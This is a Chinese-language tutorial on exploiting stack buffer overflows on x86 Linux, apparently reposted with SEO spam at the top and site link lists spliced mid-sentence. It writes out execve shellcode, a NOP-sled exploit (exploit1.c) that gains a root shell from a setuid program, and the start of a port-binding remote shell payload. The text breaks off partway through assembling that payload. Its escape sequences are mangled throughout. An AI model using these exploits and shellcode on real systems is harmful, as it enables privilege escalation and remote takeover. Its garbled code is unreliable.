网站做推广需要多少钱,电子商务网站建设调查问卷,梁志天设计公司官网首页,网站建设互联网推广转自#xff1a;http://www.jiaonan.net/html/2007/06/20070624034620915.htm 入门篇 2007-6-24 15:46:20 本讲的预备知识#xff1a; 首先你应该了解intel汇编语言#xff0c;熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面 的基础知识#xff0c;有关这方面的计… 转自http://www.jiaonan.net/html/2007/06/20070624034620915.htm 入门篇 2007-6-24 15:46:20 本讲的预备知识 首先你应该了解intel汇编语言熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面 的基础知识有关这方面的计算机书籍非常多我将仅仅是简单阐述原理着重在应用。其次 你应该了解linux本讲中我们的样例将在linux上开发。 1首先复习一下基础知识。 从物理上讲堆栈是就是一段连续分配的内存空间。在一个程序中会声明各种变量。静态 全局变量是位于数据段而且在程序開始执行的时候被载入。而程序的动态的局部变量则分配 在堆栈里面。 从操作上来讲堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我 们规定内存的生长方向为向上则栈的生长方向为向下。压栈的操作pushESP4出栈的 操作是popESP4.换句话说堆栈中老的值其内存地址反而比新的值要大。 请牢牢记住这一点由于这是堆栈溢出的基本理论根据。 在一次函数调用中堆栈中将被依次压入參数返回地址EBP。假设函数有局部变量 接下来就在堆栈中开辟对应的空间以构造变量。函数运行结束这些局部变量的内容将被 丢失。可是不被清除。在函数返回的时候弹出EBP恢复堆栈到函数调用的地址,弹出返回 地址到EIP以继续运行程序。 在C语言程序中參数的压栈顺序是反向的。比方funca,b,c)。在參数入栈的时候是 先压c再压b,最后a.在取參数的时候因为栈的先入后出先取栈顶的a再取b,最后取c。 PS:假设你看不懂上面这段概述请你去看以看关于堆栈的书籍一般的汇编语言书籍都 会具体的讨论堆栈必须弄懂它你才干进行以下的学习 2:好了继续,让我们来看一看什么是堆栈溢出。 2.1执行时的堆栈分配 堆栈溢出就是不顾堆栈中分配的局部数据块大小向该数据块写入了过多的数据导致数据 越界。结果覆盖了老的堆栈数据。 比方有以下一段程序 程序一 #include stdio.h int main ( ) { char name[8]; printf(/Please type your name: /); gets(name); printf(/Hello, %s!/, name); return 0; } 编译而且执行我们输入ipxodi,就会输出Hello,ipxodi!。程序执行中堆栈是怎么操作的呢 在main函数開始执行的时候堆栈里面将被依次放入返回地址EBP。 我们用gcc -S 来获得汇编语言输出能够看到main函数的开头部分相应例如以下语句 pushl %ebp movl %esp,%ebp subl $8,%esp 首先他把EBP保存下来然后EBP等于如今的ESP这样EBP就能够用来訪问本函数的 局部变量。之后ESP减8就是堆栈向上增长8个字节用来存放name[]数组。如今堆栈 的布局例如以下 内存底部 内存顶部 name EBP ret ------ [ ][ ][ ] ^name 栈顶部 堆栈底部 运行完gets(name)之后堆栈例如以下 内存底部 内存顶部 name EBP ret ------ [ipxodi//0 ][ ][ ] ^name 栈顶部 堆栈底部 最后main返回弹出ret里的地址赋值给EIPCPU继续运行EIP所指向的指令。 2.2堆栈溢出 好看起来一切顺利。我们再运行一次输入ipxodiAAAAAAAAAAAAAAA,运行完 getsname之后堆栈例如以下 内存底部 内存顶部 name EBP ret ------ [ipxodiAA][AAAA][AAAA]....... ^name 栈顶部 堆栈底部 因为我们输入的name字符串太长name数组容纳不下仅仅好向内存顶部继续写 ‘A’。因为堆栈的生长方向与内存的生长方向相反这些‘A’覆盖了堆栈的 老的元素。 如图 我们能够发现EBPret都已经被‘A’覆盖了。在main返回的时候就会把 ‘AAAA’的ASCII码0x41414141作为返回地址CPU会试图运行0x41414141处 的指令结果出现错误。这就是一次堆栈溢出。 3怎样利用堆栈溢出 我们已经制造了一次堆栈溢出。其原理能够概括为因为字符串处理函数 getsstrcpy等等没有对数组越界加以监视和限制我们利用字符数组写 越界覆盖堆栈中的老元素的值就能够改动返回地址。 在上面的样例中这导致CPU去訪问一个不存在的指令结果出错。 其实当堆栈溢出的时候我们已经全然的控制了这个程序下一步的动作。 假设我们用一个实际存在指令地址来覆盖这个返回地址CPU就会转而运行我 们的指令。 在UINX系统中我们的指令能够运行一个感染linux脚本程序技术 浅谈用delphi来编写蠕虫病毒 浅谈数据库的攻击 后门技巧 Microsoft IIS ssinc.dll缓冲区溢出漏洞 IP欺骗的原理 Nimda/尼姆达蠕虫报告_update 教学文件(感谢网友提供 数据完整性检測工具Tripwire Unix网络的两个安全问题 相关链接共 145 篇 刷新该页面能够得到不同的keyword链接 ,相关的链接) hrefhttp://www.safechina.net/article/showarticle.php?id1003664001# mce_hrefhttp://www.safechina.net/article/showarticle.php?id1003664001shell 这个shell将获得和被我们堆 栈溢出的程序同样的整理的关于网络欺骗攻击的内容 文件权限和注冊表权限的另类用法 关于安全性级别 分析进入Win2000后留下的足迹 一次入侵过程 NT/2000下删日志的方法 入侵思路 Windows 2000漏洞集锦 菜鸟操(五)bfctx原创) 下一代系统日志工具(syslog-ng) 相关链接共 195 篇 刷新该页面能够得到不同的keyword链接 ,相关的链接) hrefhttp://www.safechina.net/article/showarticle.php?id1003664001# mce_hrefhttp://www.safechina.net/article/showarticle.php?id1003664001权限 。假设这个程序是setuid的那么我们就能够获得 root shell。 下一讲将叙述怎样书写一个shell code。 ------------------------------------------------------------ 怎样书写一个shell code 一shellcode基本算法分析 在程序中运行一个shell的程序是这样写的 shellcode.c ------------------------------------------------------------------------ ----- #include stdio.h void main() { char *name[2]; name[0] //bin/sh/ name[1] NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------ ------ execve函数将运行一个程序。他须要程序的名字地址作为第一个參数。一个内容为 该程序的argv[i]argv[n-1]0)的指针数组作为第二个參数以及(char*) 0作为 第三个參数。 我们来看以看execve的汇编代码 [nkl10]$ gcc -o shellcode -static shellcode.c [nkl10]$ gdb shellcode (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc __execve: pushl %ebp ; 0x80002bd __execve1: movl %esp,%ebp ;上面是函数头。 0x80002bf __execve3: pushl %ebx ;保存ebx 0x80002c0 __execve4: movl $0xb,%eax ;eax0xbeax指明第几号系统调用。 0x80002c5 __execve9: movl 0x8(%ebp),%ebx ;ebp8是第一个參数//bin/sh//0/ 0x80002c8 __execve12: movl 0xc(%ebp),%ecx ;ebp12是第二个參数name数组的地址 0x80002cb __execve15: movl 0x10(%ebp),%edx ;ebp16是第三个參数空指针的地址。 ;name[2-1]内容为NULL用来存放返回值。 0x80002ce __execve18: int $0x80 ;运行0xb号系统调用(execve) 0x80002d0 __execve20: movl %eax,%edx ;以下是返回值的处理就没实用了。 0x80002d2 __execve22: testl %edx,%edx 0x80002d4 __execve24: jnl 0x80002e6 __execve42 0x80002d6 __execve26: negl %edx 0x80002d8 __execve28: pushl %edx 0x80002d9 __execve29: call 0x8001a34 __normal_errno_location 0x80002de __execve34: popl %edx 0x80002df __execve35: movl %edx,(%eax) 0x80002e1 __execve37: movl $0xffffffff,%eax 0x80002e6 __execve42: popl %ebx 0x80002e7 __execve43: movl %ebp,%esp 0x80002e9 __execve45: popl %ebp 0x80002ea __execve46: ret 0x80002eb __execve47: nop End of assembler dump. 经过以上的分析能够得到例如以下的精简指令算法 movl $execve的系统调用号,%eax movl /bin/sh//0/的地址,%ebx movl name数组的地址,%ecx movl name[n-1]的地址,%edx int $0x80 ;运行系统调用(execve) 当execve运行成功后程序shellcode就会退出/bin/sh将作为子进程继续运行。 但是假设我们的execve运行失败比方没有/bin/sh这个文件CPU就会继续 运行兴许的指令结果不知道跑到哪里去了。所以必须再运行一个exit系统调 用结束shellcode.c的运行。 我们来看以看exit(0)的汇编代码 (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c _exit: pushl %ebp 0x800034d _exit1: movl %esp,%ebp 0x800034f _exit3: pushl %ebx 0x8000350 _exit4: movl $0x1,%eax ;1号系统调用 0x8000355 _exit9: movl 0x8(%ebp),%ebx ;ebx为參数0 0x8000358 _exit12: int $0x80 ;引发系统调用 0x800035a _exit14: movl 0xfffffffc(%ebp),%ebx 0x800035d _exit17: movl %ebp,%esp 0x800035f _exit19: popl %ebp 0x8000360 _exit20: ret 0x8000361 _exit21: nop 0x8000362 _exit22: nop 0x8000363 _exit23: nop End of assembler dump. 看来exit(0)〕的汇编代码更加简单 movl $0x1,%eax ;1号系统调用 movl 0,%ebx ;ebx为exit的參数0 int $0x80 ;引发系统调用 那么总结一下合成的汇编代码为 movl $execve的系统调用号,%eax movl /bin/sh//0/的地址,%ebx movl name数组的地址,%ecx movl name[n-1]的地址,%edx int $0x80 ;运行系统调用(execve) movl $0x1,%eax ;1号系统调用 movl 0,%ebx ;ebx为exit的參数0 int $0x80 ;运行系统调用(exit) 二实现一个shellcode 好我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个name 数组。我们能够构造它们出来但是在shellcode中怎样知道它们的地址呢每一次 程序都是动态载入字符串和name数组的地址都不是固定的。 通过JMP和call的结合黑客们巧妙的攻克了这个问题。 ------------------------------------------------------------------------ ------ jmp call的偏移地址 # 2 bytes popl %esi # 1 byte //popl出来的是string的地址。 movl %esi,array-offset(%esi) # 3 bytes //在string8处构造 name数组 //name[0]放 string的地址 movb $0x0,nullbyteoffset(%esi)# 4 bytes //string7处放0作为string的结 尾。 movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。 movl $0xb,%eax # 5 bytes //eax0xb是execve的syscall代码 。 movl %esi,%ebx # 2 bytes //ebxstring的地址 leal array-offset,(%esi),%ecx # 3 bytes //ecxname数组的開始地址 leal null-offset(%esi),%edx # 3 bytes //edxname〔1]的地址 int $0x80 # 2 bytes //int 0x80是sys call movl $0x1, %eax # 5 bytes //eax0x1是exit的syscall代码 movl $0x0, %ebx # 5 bytes //ebx0是exit的返回值 int $0x80 # 2 bytes //int 0x80是sys call call popl 的偏移地址 # 5 bytes //这里放call,string 的地址就会 作 //为返回地址压栈。 /bin/sh 字符串 ------------------------------------------------------------------------ ------ 首先使用JMP相对地址来跳转到call,运行完call指令字符串/bin/sh的地址将作为 call的返回地址压入堆栈。如今来到popl esi把刚刚压入栈中的字符串地址取出来 就获得了字符串的真实地址。然后在字符串的第8个字节赋0作为串的结尾。后面 8个字节构造name数组两个整数八个字节。 我们能够写shellcode了。先写出汇编源程序。 shellcodeasm.c ------------------------------------------------------------------------ ------ void main() { __asm__(/ jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string ////bin/sh/// # 8 bytes /); } ------------------------------------------------------------------------ ------ 编译后用gdb的b/bx 〔地址〕命令能够得到十六进制的表示。 以下写出測试程序例如以下注意这个test程序是測试shellcode的基本程序 test.c ------------------------------------------------------------------------ ------ char shellcode[] ///xeb//x2a//x5e//x89//x76//x08//xc6//x46//x07//x00//xc7//x46//x0c//x00//x00//x00/ ///x00//xb8//x0b//x00//x00//x00//x89//xf3//x8d//x4e//x08//x8d//x56//x0c//xcd//x80/ ///xb8//x01//x00//x00//x00//xbb//x00//x00//x00//x00//xcd//x80//xe8//xd1//xff//xff/ ///xff//x2f//x62//x69//x6e//x2f//x73//x68//x00//x89//xec//x5d//xc3/ void main() { int *ret; ret (int *)ret 2; //ret 等于main的返回地址 //(2是由于有pushl ebp ,否则加1就能够了。 (*ret) (int)shellcode; //改动main的返回地址为shellcode的開始地 址。 } ------------------------------------------------------------------------ ------ ------------------------------------------------------------------------ ------ [nkl10]$ gcc -o test test.c [nkl10]$ ./test $ exit [nkl10]$ ------------------------------------------------------------------------ ------ 我们通过一个shellcode数组来存放shellcode当我们把程序test.c的返回地址 ret设置成shellcode数组的開始地址时程序在返回的时候就会去运行我们的shellcode 从而我们得到了一个shell。 执行结果得到了bsh的提示符$,表明成功的开了一个shell。 这里有必要解释的是我们把shellcode作为一个全局变量开在了数据段而不是作为 一段代码。是由于在操作系统中程序代码段的内容是具有仅仅读属性的。不能改动。 而我们的代码中movl %esi,0x8(%esi)等语句都改动了代码的一部分所以不能放在 代码段。 这个shellcode能够了吗非常遗憾还差了一点。大家回忆一下在堆栈溢出中关 键在于字符串数组的写越界。可是getsstrcpy等字符串函数在处理字符串的时候 以///0/ 为字符串结尾。遇//0就结束了写操作。而我们的shellcode串中有大量的//0字符。因此 对于getsname来说上面的shellcode是不可行的。我们的shellcode是不能有//0字符 出现的。 因此有些指令须要改动一下 旧的指令 新的指令 -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------- 最后的shellcode为 ------------------------------------------------------------------------ ---- char shellcode[] 00 ///xeb//x1f/ /* jmp 0x1f */ 02 ///x5e/ /* popl %esi */ 03 ///x89//x76//x08/ /* movl %esi,0x8(%esi) */ 06 ///x31//xc0/ /* xorl %eax,%eax */ 08 ///x88//x46//x07/ /* movb %eax,0x7(%esi) */ 0b ///x89//x46//x0c/ /* movl %eax,0xc(%esi) */ 0e ///xb0//x0b/ /* movb $0xb,%al */ 10 ///x89//xf3/ /* movl %esi,%ebx */ 12 ///x8d//x4e//x08/ /* leal 0x8(%esi),%ecx */ 15 ///x8d//x56//x0c/ /* leal 0xc(%esi),%edx */ 18 ///xcd//x80/ /* int $0x80 */ 1a ///x31//xdb/ /* xorl %ebx,%ebx */ 1c ///x89//xd8/ /* movl %ebx,%eax */ 1e ///x40/ /* inc %eax */ 1f ///xcd//x80/ /* int $0x80 */ 21 ///xe8//xdc//xff//xff//xff/ /* call -0x24 */ 26 //bin/sh/ /* .string ////bin/sh/// */ ------------------------------------------------------------------------ ---- 三利用堆栈溢出获得shell 好了如今我们已经制造了一次堆栈溢出写好了一个shellcode。准备工作都已经作完 我们把二者结合起来就写出一个利用堆栈溢出获得shell的程序。 overflow1.c ------------------------------------------------------------------------ ------ char shellcode[] ///xeb//x1f//x5e//x89//x76//x08//x31//xc0//x88//x46//x07//x89//x46//x0c//xb0//x0b/ ///x89//xf3//x8d//x4e//x08//x8d//x56//x0c//xcd//x80//x31//xdb//x89//xd8//x40//xcd/ ///x80//xe8//xdc//xff//xff//xff/bin/sh/ char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr (long *) large_string; for (i 0; i 32; i) *(long_ptr i) (int) buffer; for (i 0; i strlen(shellcode); i) large_string[i] shellcode[i]; strcpy(buffer,large_string); } ------------------------------------------------------------------------ ------ 在运行完strcpy后堆栈内容例如以下所看到的 内存底部 内存顶部 buffer EBP ret ------ [SSS...SSSA ][A ][A ]A..A ^buffer 栈顶部 堆栈底部 注S表示shellcode。 A表示shellcode的地址。 这样在运行完strcpy后overflow。c将从ret取出A作为返回地址从而运行了我们 的shellcode。 ---------------------------------------------------------- 利用堆栈溢出获得shell 如今让我们进入最刺激的一讲利用别人的程序的堆栈溢出获得rootshell。我们 将面对 一个有strcpy堆栈溢出“求职信”病毒/蠕虫行为深入分析 非法格式信息报头导致Msn Messenger崩溃漏洞 微软警告SQL Server存在安全漏洞 Apple Mac OS X PPP 验证协议可泄露漏洞 Security Issues in Perl Scripts unicode编码漏洞全攻略-6 Windows 2000缓冲区溢出入门 xloadimage 缓冲区溢出漏洞 FolkQQ专业黑软回想 Windows NT攻击大全 相关链接共 205 篇 刷新该页面能够得到不同的keyword链接 ,相关的链接) hrefhttp://www.safechina.net/article/showarticle.php?id1003664001# mce_hrefhttp://www.safechina.net/article/showarticle.php?id1003664001漏洞 的程序利用前面说过的方法来得到shell。 回忆一下前面所讲我们通过一个shellcode数组来存放shellcode利用程序中的 strcpy 函数把shellcode放到了程序的堆栈之中我们制造了数组越界用shellcode的 開始地 址覆盖了程序overflow.c的返回地址程序在返回的时候就会去运行我们的 shellcode从而我们得到了一个shell。 当我们面对别人写的程序时为了让他运行我们的shellcode相同必须作这两件 事 1:把我们的shellcode提供给他让他能够訪问shellcode。 2:改动他的返回地址为shellcode的入口地址。 为了做到这两条我们必须知道他的strcpybuffer,ourshellcode中buffer 的地址。 由于当我们把shellcode提供给strcpy之后buffer的開始地址就是shellcode的开 始地址 我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明白。 我们知道对于操作系统来说一个shell下的每个程序的堆栈段開始地址都是 同样的 。我们能够写一个程序获得执行时的堆栈起始地址这样我们就知道了目标程 序堆栈 的開始地址。 以下这个函数用eax返回当前程序的堆栈指针。全部C函数的返回值都放在eax 寄存器 里面: ------------------------------------------------------------------------ ------ unsigned long get_sp(void) { __asm__(/movl %esp,%eax/); } ------------------------------------------------------------------------ ------ 我们在知道了堆栈開始地址后buffer相对于堆栈開始地址的偏移是他程序猿自 己 写出来的程序决定的我们不知道仅仅能靠推測了。只是一般的程序堆栈大约是 几K 左右。所以这个buffer与上面得到的堆栈地址相差就在几K之间。 显然猜地址这是一件非常难的事情从0试到10K会把人累死的。 前面我们用来覆盖堆栈的溢出字符串为 SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 如今为了提高命中率我们对他进行例如以下改进 用来溢出的字符串变为 NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA 当中 N为NOP.NOP指令意思是什么都不作跳过一个CPU指令周期。在intel机器上 NOP指令的机器码为0x90。 S为shellcode。 A为我们推測的buffer的地址。这样A猜大了也能够落在N上而且终于会运行到 S. 这个改进大大提高了推測的命中率有时差点儿能够一次命中。 好了枯燥的算法分析完了以下就是利用./vulnerable1的堆栈溢出漏洞来得到 shell的程序 exploit1.c ------------------------------------------------------------------------ ---- #includestdio.h #includestdlib.h #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[] ///xeb//x1f/ /* jmp 0x1f */ ///x5e/ /* popl %esi */ ///x89//x76//x08/ /* movl %esi,0x8(%esi) */ ///x31//xc0/ /* xorl %eax,%eax */ ///x88//x46//x07/ /* movb %eax,0x7(%esi) */ ///x89//x46//x0c/ /* movl %eax,0xc(%esi) */ ///xb0//x0b/ /* movb $0xb,%al */ ///x89//xf3/ /* movl %esi,%ebx */ ///x8d//x4e//x08/ /* leal 0x8(%esi),%ecx */ ///x8d//x56//x0c/ /* leal 0xc(%esi),%edx */ ///xcd//x80/ /* int $0x80 */ ///x31//xdb/ /* xorl %ebx,%ebx */ ///x89//xd8/ /* movl %ebx,%eax */ ///x40/ /* inc %eax */ ///xcd//x80/ /* int $0x80 */ ///xe8//xdc//xff//xff//xff/ /* call -0x24 */ //bin/sh/ /* .string ////bin/sh/// */ unsigned long get_sp(void) { __asm__(/movl %esp,%eax/); } main(int argc,char **argv) { char buff[RET_POSITIONRANGE1],*ptr; long addr; unsigned long sp; int offsetOFFSET,bsizeRET_POSITIONRANGEALIGN1; int i; if(argc1) offsetatoi(argv[1]); spget_sp(); addrsp-offset; for(i0;ibsize;i4) *((long *)(buff[i]))addr; for(i0;ibsize-RANGE*2-strlen(shellcode)-1;i) buff[i]NOP; ptrbuffbsize-RANGE*2-strlen(shellcode)-1; for(i0;istrlen(shellcode);i) *(ptr)shellcode[i]; buff[bsize-1]///0/ //如今buff的内容为 //NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA//0 printf(/Jump to 0x%08x//n/,addr); execl(/./vulnerable1/,/vulnerable1/,buff,0); } ------------------------------------------------------------------------ ---- execl用来运行目标程序./vulnerable1buff是我们精心制作的溢出字符串 作为./vulnerable1的參数提供。 下面是运行的结果 ------------------------------------------------------------------------ ---- [nkl10]$ ls -l vulnerable1 -rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1* [nkl10]$ ls -l exploit1 -rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1* [nkl10]$ ./exploit1 Jump to 0xbfffec64 Segmentation fault [nkl10]$ ./exploit1 500 Jump to 0xbfffea70 bash# whoami root bash# ------------------------------------------------------------------------ ---- 恭喜恭喜你获得了root shell。 下一讲我们将进一步探讨shellcode的书写。我们将讨论一些非常复杂的 shellcode。 -------------------------------------------------------------- 远程堆栈溢出 我们用堆栈溢出攻击守护进程daemon时原理和前面提到过的本地攻击是同样的。 我们 必须提供给目标daemon一个溢出字符串里面包括了shellcode。希望敌人在复制 或者 别的串处理操作这个串的时候发生堆栈溢出从而运行我们的shellcode。 普通的shellcode将启动一个子进程运行sh自己退出。对于我们这些远程的攻击 者来说 因为我们不在本地这个sh我们并没有得到。 因此对于远程使用者我们传过去的shellcode就必须负担起打开一个socket 然后 listen我们的连接给我们一个远程shell的责任。 怎样开一个远程shell呢我们先申请一个socketfd使用30464随便多少都行 作为 这个socket连接的portbind他然后在这个port上等待连接listen。当有连接进 来后 开一个子shell把连接的clientfd作为子shell的stdin,stdout,stderr。这样 我们 远程的使用者就有了一个远程shell跟telnet一样啦。 ||||||以下就是这个算法的C实现 opensocket.c ------------------------------------------------------------------------ ---- 1#includeunistd.h 2#includesys/socket.h 3#includenetinet/in.h 4int soc,cli,soc_len; 5struct sockaddr_in serv_addr; 6struct sockaddr_in cli_addr; 7int main() 8{ 9 if(fork()0) 10 { 11 serv_addr.sin_familyAF_INET; 12 serv_addr.sin_addr.s_addrhtonl(INADDR_ANY); 13 serv_addr.sin_porthtons(30464); 14 socsocket(AF_INET,SOCK_STREAM,IPPROTO_一个多功能linux 后门的源码 OpenBSD可载入内核模块编程全然指南 用SSL构建一个安全的Apache 七个维护server安全的技巧 port list(from neohapsis) SSH使用及协议分析 下一代系统日志工具(syslog-ng) IPport对比表(中文凝视) Linux下的网络扫描利器NMAP TCP Chargen DoS攻击及其对策 相关链接共 162 篇 刷新该页面能够得到不同的keyword链接 ,相关的链接) hrefhttp://www.safechina.net/article/showarticle.php?id1003664001# mce_hrefhttp://www.safechina.net/article/showarticle.php?id1003664001TCP ); 15 bind(soc,(struct sockaddr *)serv_addr, sizeof(serv_addr)); 16 listen(soc,1); 17 soc_lensizeof(cli_addr); 18 cliaccept(soc,(struct sockaddr *)cli_addr, soc_len); 19 dup2(cli,0); 20 dup2(cli,1); 21 dup2(cli,2); 22 execl(//bin/sh/,/sh/,0); 23 } 24} ------------------------------------------------------------------------ ---- 第9行的fork()函数创建了一个子进程对于父进程fork()的返回值是子进程的 pid 对于子进程fork()的返回值是0.本程序中父进程运行了一个fork就退出了子 进程 作为socket通信的运行者继续以下的操作。 10到23行都是子进程所作的事情。首先调用socket获得一个文件描写叙述符soc然后 调用 bind()绑定30464port接下来開始监听listen().程序挂起在accept等待客户连接 。 当有客户连接时程序被唤醒进行accept然后把自己的标准输入标准输出 标准错误输出重定向到客户的文件描写叙述符上开一个子sh这样子shell继承了 这个进程的文件描写叙述符对于客户来说就是得到了一个远程shell。 看懂了吗嗯对这是一个比較简单的socket程序非常好理解的。好我们使用 gdb来反编译上面的程序: [nkl10]$ gcc -o opensocket -static opensocket.c [nkl10]$ gdb opensocket GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type /show copying/ to see the conditions. There is absolutely no warranty for GDB. Type /show warranty/ for details. This GDB was configured as /i386-redhat-linux/... (gdb) disassemble fork Dump of assembler code for function fork: 0x804ca90 fork: movl $0x2,%eax 0x804ca95 fork5: int $0x80 0x804ca97 fork7: cmpl $0xfffff001,%eax 0x804ca9c fork12: jae 0x804cdc0 __syscall_error 0x804caa2 fork18: ret 0x804caa3 fork19: nop 0x804caa4 fork20: nop 0x804caa5 fork21: nop 0x804caa6 fork22: nop 0x804caa7 fork23: nop 0x804caa8 fork24: nop 0x804caa9 fork25: nop 0x804caaa fork26: nop 0x804caab fork27: nop 0x804caac fork28: nop 0x804caad fork29: nop 0x804caae fork30: nop 0x804caaf fork31: nop End of assembler dump. (gdb) disassemble socket Dump of assembler code for function socket: 0x804cda0 socket: movl %ebx,%edx 0x804cda2 socket2: movl $0x66,%eax 0x804cda7 socket7: movl $0x1,%ebx 0x804cdac socket12: leal 0x4(%esp,1),%ecx 0x804cdb0 socket16: int $0x80 0x804cdb2 socket18: movl %edx,%ebx 0x804cdb4 socket20: cmpl $0xffffff83,%eax 0x804cdb7 socket23: jae 0x804cdc0 __syscall_error 0x804cdbd socket29: ret 0x804cdbe socket30: nop 0x804cdbf socket31: nop End of assembler dump. (gdb) disassemble bind Dump of assembler code for function bind: 0x804cd60 bind: movl %ebx,%edx 0x804cd62 bind2: movl $0x66,%eax 0x804cd67 bind7: movl $0x2,%ebx 0x804cd6c bind12: leal 0x4(%esp,1),%ecx 0x804cd70 bind16: int $0x80 0x804cd72 bind18: movl %edx,%ebx 0x804cd74 bind20: cmpl $0xffffff83,%eax 0x804cd77 bind23: jae 0x804cdc0 __syscall_error 0x804cd7d bind29: ret 0x804cd7e bind30: nop 0x804cd7f bind31: nop End of assembler dump. (gdb) disassemble listen Dump of assembler code for function listen: 0x804cd80 listen: movl %ebx,%edx 0x804cd82 listen2: movl $0x66,%eax 0x804cd87 listen7: movl $0x4,%ebx 0x804cd8c listen12: leal 0x4(%esp,1),%ecx 0x804cd90 listen16: int $0x80 0x804cd92 listen18: movl %edx,%ebx 0x804cd94 listen20: cmpl $0xffffff83,%eax 0x804cd97 listen23: jae 0x804cdc0 __syscall_error 0x804cd9d listen29: ret 0x804cd9e listen30: nop 0x804cd9f listen31: nop End of assembler dump. (gdb) disassemble accept Dump of assembler code for function __accept: 0x804cd40 __accept: movl %ebx,%edx 0x804cd42 __accept2: movl $0x66,%eax 0x804cd47 __accept7: movl $0x5,%ebx 0x804cd4c __accept12: leal 0x4(%esp,1),%ecx 0x804cd50 __accept16: int $0x80 0x804cd52 __accept18: movl %edx,%ebx 0x804cd54 __accept20: cmpl $0xffffff83,%eax 0x804cd57 __accept23: jae 0x804cdc0 __syscall_error 0x804cd5d __accept29: ret 0x804cd5e __accept30: nop 0x804cd5f __accept31: nop End of assembler dump. (gdb) disassemble dup2 Dump of assembler code for function dup2: 0x804cbe0 dup2: movl %ebx,%edx 0x804cbe2 dup22: movl 0x8(%esp,1),%ecx 0x804cbe6 dup26: movl 0x4(%esp,1),%ebx 0x804cbea dup210: movl $0x3f,%eax 0x804cbef dup215: int $0x80 0x804cbf1 dup217: movl %edx,%ebx 0x804cbf3 dup219: cmpl $0xfffff001,%eax 0x804cbf8 dup224: jae 0x804cdc0 __syscall_error 0x804cbfe dup230: ret 0x804cbff dup231: nop End of assembler dump. 如今能够写上面c代码的汇编语句了。 fork()的汇编代码 ------------------------------------------------------------------------ ---- char code[] ///x31//xc0/ /* xorl %eax,%eax */ ///xb0//x02/ /* movb $0x2,%al */ ///xcd//x80/ /* int $0x80 */ ------------------------------------------------------------------------ ---- socket(2,1,6)的汇编代码 注AF_INET2,SOCK_STREAM1,IPPROTO_TCP6 ------------------------------------------------------------------------ ---- /* socket使用66号系统调用1号子调用。 */ /* 他使用一段内存块来传递參数2,1,6。 */ /* %ecx 里面为这个内存块的地址指针. */ char code[] ///x31//xc0/ /* xorl %eax,%eax */ ///x31//xdb/ /* xorl %ebx,%ebx */ ///x89//xf1/ /* movl %esi,%ecx */ ///xb0//x02/ /* movb $0x2,%al */ ///x89//x06/ /* movl %eax,(%esi) */ /* 第一个參数 */ /* %esi 指向一段未使用的内存空间 */ ///xb0//x01/ /* movb $0x1,%al */ ///x89//x46//x04/ /* movl %eax,0x4(%esi) */ /* 第二个參数 */ ///xb0//x06/ /* movb $0x6,%al */ ///x89//x46//x08/ /* movl %eax,0x8(%esi) */ /* 第三个參数. */ ///xb0//x66/ /* movb $0x66,%al */ ///xb3//x01/ /* movb $0x1,%bl */ ///xcd//x80/ /* int $0x80 */ ------------------------------------------------------------------------ ---- bind(soc,(struct sockaddr *)serv_addr,0x10)的汇编代码 ------------------------------------------------------------------------ ---- /* bind使用66号系统调用2号子调用。 */ /* 他使用一段内存块来传递參数。 */ /* %ecx 里面为这个内存块的地址指针. */ char code[] ///x89//xf1/ /* movl %esi,%ecx */ ///x89//x06/ /* movl %eax,(%esi) */ /* %eax 的内容为刚才socket调用的返回值 */ /* 就是soc文件描写叙述符作为第一个參数 */ ///xb0//x02/ /* movb $0x2,%al */ ///x66//x89//x46//x0c/ /* movw %ax,0xc(%esi) */ /* serv_addr.sin_familyAF_NET2 */ /* 2 放在 0xc(%esi). */ ///xb0//x77/ /* movb $0x77,%al */ ///x66//x89//x46//x0e/ /* movw %ax,0xe(%esi) */ /* port号(0x770030464)放在 0xe(%esi) */ ///x8d//x46//x0c/ /* leal 0xc(%esi),%eax */ /* %eax serv_addr 的地址 */ ///x89//x46//x04/ /* movl %eax,0x4(%esi) */ /* 第二个參数. */ ///x31//xc0/ /* xorl %eax,%eax */ ///x89//x46//x10/ /* movl %eax,0x10(%esi) */ /* serv_addr.sin_addr.s_addr0 */ ///xb0//x10/ /* movb $0x10,%al */ ///x89//x46//x08/ /* movl %eax,0x8(%esi) */ /* 第三个參数 . */ ///xb0//x66/ /* movb $0x66,%al */ ///xb3//x02/ /* movb $0x2,%bl */ ///xcd//x80/ /* int $0x80 */ ------------------------------------------------------------------------ ---- listen(soc,1)的汇编代码 ------------------------------------------------------------------------ ---- /* listen使用66号系统调用4号子调用。 */ /* 他使用一段内存块来传递參数。 */ /* %ecx 里面为这个内存块的地址指针. */ char code[] ///x89//xf1/ /* movl 